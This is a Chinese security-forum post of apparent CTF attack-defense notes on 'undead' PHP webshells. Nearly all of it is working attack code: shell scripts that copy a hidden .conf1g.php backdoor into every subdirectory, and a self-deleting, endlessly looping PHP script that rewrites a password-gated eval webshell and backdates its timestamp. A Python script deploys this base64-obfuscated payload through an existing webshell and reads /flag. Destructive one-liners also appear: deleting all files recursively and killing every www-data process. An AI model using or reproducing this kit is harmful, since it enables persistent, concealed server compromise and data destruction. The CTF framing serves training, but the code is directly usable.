安全矩阵

 找回密码
 立即注册
搜索
查看: 2400|回复: 0

本地的一点点关于不死马的记录 shell+php

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-17 17:12:11 | 显示全部楼层 |阅读模式
原文链接:本地的一点点关于不死马的记录 shell+php
  1. 输出当前目录下所有子目录

  2. 1.sh
  3. SAVEIFS="$IFS"
  4. IFS="
  5. "
  6. printhypen()
  7. (
  8.             tab=$(( $1 * 4 ))
  9.             if [ $tab -gt 0 ]
  10.             then
  11.             printf "%-.${tab}s  " "$hypen"
  12.             fi
  13. )
  14. traverdir()
  15. (
  16.     pushd "$1" > /dev/null 2>&1
  17.     tab="$2"
  18.     for file in `ls -1`
  19.     do
  20.         if test -d "$file"
  21.         then
  22.             printhypen $tab
  23.             echo "<dir> $file"
  24.             traverdir "$file" "$((tab + 1  ))"
  25.         else
  26.             printhypen $tab
  27.             echo "$file"
  28.         fi
  29.     done
  30.     popd > /dev/null 2>&1
  31. )
  32. read -p "请输入要遍历的目录:" dir
  33. traverdir "$dir" 0
  34. IFS="$SAVEIFS"


  35. 2.sh
  36. traverdir()(pushd "$1" > /dev/null 2>&1;for file in `ls -1`;do if test -d "$file";then echo "$PWD/$file";traverdir "$file" "$((tab + 1  ))";fi;done);traverdir



  37. 3.sh
  38. # cp 当前目录下的.conf1g.php 到当前目录下所有子目录
  39. traverdir()(pushd "$1" > /dev/null 2>&1;for file in `ls -1`;do if test -d "$file";then cp $PWD/.conf1g.php $PWD/$file;echo "$PWD/$file";traverdir "$file" "$((tab + 1  ))";fi;done);traverdir




  40. 4.sh
  41. traverdir()(
  42.     pushd "$1" > /dev/null 2>&1
  43.     for file in `ls -1`
  44.     do
  45.       if test -d "$file"
  46.       then
  47.         cp $PWD/.conf1g.php $PWD/$file
  48.         echo "$PWD/$file"
  49.         traverdir "$file" "$((tab + 1  ))"
  50.     fi
  51.     done
  52. )
  53. traverdir




  54. 1.php
  55. system("echo 'dHJhdmVyZGlyKCkocHVzaGQgIiQxIiA+IC9kZXYvbnVsbCAyPiYxO2ZvciBmaWxlIGluIGBscyAtMWA7ZG8gaWYgdGVzdCAtZCAiJGZpbGUiO3RoZW4gZWNobyAiJFBXRC8kZmlsZSI7dHJhdmVyZGlyICIkZmlsZSIgIiQoKHRhYiArIDEgICkpIjtmaTtkb25lKTt0cmF2ZXJkaXI=' | base64 -d > 1.sh");
  56. $asd = system("bash 1.sh");





  57. 2.php
  58. <?php
  59. $asdf = [];
  60. function find_all_sub_folder($path){
  61.         global $asdf;
  62.         $handle = opendir($path);
  63.         while(false != ($file = readdir($handle))){
  64.             $pathinfo = pathinfo($file);
  65.             if ($pathinfo['basename'] != '.' && $pathinfo['basename'] != '..'){
  66.                 if(is_dir("$path/$file")){
  67.                     array_push($asdf,"$path/$file");
  68.                     find_all_sub_folder("$path/$file");
  69.                 }
  70.             }
  71.         }
  72.     }
  73. find_all_sub_folder(__DIR__);
  74. print_r($asdf);
  75. ?>





  76. 3.php
  77. <?php
  78. error_reporting(0);
  79. $path = '/Users/asura/asura/ctf/docker/kalinew2/tmp';

  80. $asdf = [];
  81. function find_all_sub_folder($path){
  82.     global $asdf;
  83.     $handle = opendir($path);
  84.     while(false != ($file = readdir($handle))){
  85.         $pathinfo = pathinfo($file);
  86.         if ($pathinfo['basename'] != '.' && $pathinfo['basename'] != '..'){
  87.             if(is_dir("$path/$file")){
  88.                 array_push($asdf,"$path/$file");
  89.                 find_all_sub_folder("$path/$file");
  90.             }
  91.         }
  92.     }
  93. }
  94. find_all_sub_folder($path);
  95. // var_dump($asdf);
  96. for($i=0;$i<count($asdf);$i++){
  97.     echo $asdf[$i].'/'.PHP_EOL;
  98. }





  99. 4.php
  100. <?php
  101. ignore_user_abort(true);
  102. set_time_limit(0);
  103. unlink(__FILE__);
  104. $file = '.conf1g.php';
  105. $code = '<?php if(md5($_GET["pwd"])=="cf36a83be7c40376adad9d0abb36acc0"){@eval($_POST[a]);} ?>';
  106. while (1){
  107.     file_put_contents($file,$code);
  108.     system('touch -m -d "2021-12-01 09:10:12" .conf1g.php');
  109.     system("echo 'dHJhdmVyZGlyKCkocHVzaGQgIiQxIiA+IC9kZXYvbnVsbCAyPiYxO2ZvciBmaWxlIGluIGBscyAtMWA7ZG8gaWYgdGVzdCAtZCAiJGZpbGUiO3RoZW4gY3AgJFBXRC8uY29uZjFnLnBocCAkUFdELyRmaWxlO2VjaG8gIiRQV0QvJGZpbGUiO3RyYXZlcmRpciAiJGZpbGUiICIkKCh0YWIgKyAxICApKSI7Zmk7ZG9uZSk7dHJhdmVyZGly' | base64 -d > 1.sh");
  110.     $asd = system("bash 1.sh");
  111.     usleep(1000);
  112. }


  113. 1.py
  114. import base64
  115. a = '''<?php
  116. ignore_user_abort(true);
  117. set_time_limit(0);
  118. unlink(__FILE__);
  119. $file = '.conf1g.php';
  120. $code = '<?php if(md5($_GET["pwd"])=="cf36a83be7c40376adad9d0abb36acc0"){@eval($_POST[a]);} ?>';
  121. while (1){
  122.     file_put_contents($file,$code);
  123.     system('touch -m -d "2021-12-01 09:10:12" .conf1g.php');
  124.     system("echo 'dHJhdmVyZGlyKCkocHVzaGQgIiQxIiA+IC9kZXYvbnVsbCAyPiYxO2ZvciBmaWxlIGluIGBscyAtMWA7ZG8gaWYgdGVzdCAtZCAiJGZpbGUiO3RoZW4gY3AgJFBXRC8uY29uZjFnLnBocCAkUFdELyRmaWxlO2VjaG8gIiRQV0QvJGZpbGUiO3RyYXZlcmRpciAiJGZpbGUiICIkKCh0YWIgKyAxICApKSI7Zmk7ZG9uZSk7dHJhdmVyZGly' | base64 -d > 1.sh");
  125.     $asd = system("bash 1.sh");
  126.     usleep(1000);
  127. }'''
  128. print base64.b64encode(a)





  129. rm `find . -type f`
  130. 清空当前目录包括子目录所有文件

  131. find默认递归指定目录。目录可以有多个,目录之间要用空格分开


  132. 通过一句话getflag和写入不死马
  133. # coding:utf-8
  134. import requests
  135. import hackhttp
  136. import time
  137. hh = hackhttp.hackhttp()

  138. url = "http://127.0.0.1:10011/shell.php"

  139. # ?pwd=a3uRaEVSkFHeoqqp
  140. shell = '''system("echo 'PD9waHAKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CnNldF90aW1lX2xpbWl0KDApOwp1bmxpbmsoX19GSUxFX18pOwokZmlsZSA9ICcuY29uZjFnLnBocCc7CiRjb2RlID0gJzw/cGhwIGlmKG1kNSgkX0dFVFsicHdkIl0pPT0iY2YzNmE4M2JlN2M0MDM3NmFkYWQ5ZDBhYmIzNmFjYzAiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4nOwp3aGlsZSAoMSl7CiAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwkY29kZSk7CiAgICBzeXN0ZW0oJ3RvdWNoIC1tIC1kICIyMDIxLTEyLTAxIDA5OjEwOjEyIiAuY29uZjFnLnBocCcpOwogICAgc3lzdGVtKCJlY2hvICdkSEpoZG1WeVpHbHlLQ2tvY0hWemFHUWdJaVF4SWlBK0lDOWtaWFl2Ym5Wc2JDQXlQaVl4TzJadmNpQm1hV3hsSUdsdUlHQnNjeUF0TVdBN1pHOGdhV1lnZEdWemRDQXRaQ0FpSkdacGJHVWlPM1JvWlc0Z1kzQWdKRkJYUkM4dVkyOXVaakZuTG5Cb2NDQWtVRmRFTHlSbWFXeGxPMlZqYUc4Z0lpUlFWMFF2SkdacGJHVWlPM1J5WVhabGNtUnBjaUFpSkdacGJHVWlJQ0lrS0NoMFlXSWdLeUF4SUNBcEtTSTdabWs3Wkc5dVpTazdkSEpoZG1WeVpHbHknIHwgYmFzZTY0IC1kID4gMS5zaCIpOwogICAgJGFzZCA9IHN5c3RlbSgiYmFzaCAxLnNoIik7CiAgICB1c2xlZXAoMTAwMCk7Cn0=' | base64 -d > asd.php");'''
  141. code1,head1,body1,redirect1,log1 = hh.http(url,post="a="+shell)
  142. # 写入木马0
  143. print code1 # 200

  144. url2 = "http://127.0.0.1:10011/asd.php"
  145. try:
  146.         res = requests.get(url2,timeout=1) # 简单请求一下激活不死马
  147. except:
  148.         pass
  149.         print "ok"
  150. # 请求木马0,在所有子目录批量生成不死马1

  151. # 用不死马GetFlag
  152. url3 = "http://127.0.0.1:10011/.conf1g.php?pwd=a3uRaEVSkFHeoqqp"
  153. res3 = requests.post(url3,data={"a":"system('cat /flag');"})
  154. print res3.text


  155. ps aux | grep www-data | awk '{print $2}' | xargs kill -9
  156. 筛选出www-data进程
  157. 筛选出pid
  158. kill掉


  159. ps aux | grep www-data | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27}'
复制代码







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 07:54 , Processed in 0.012166 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表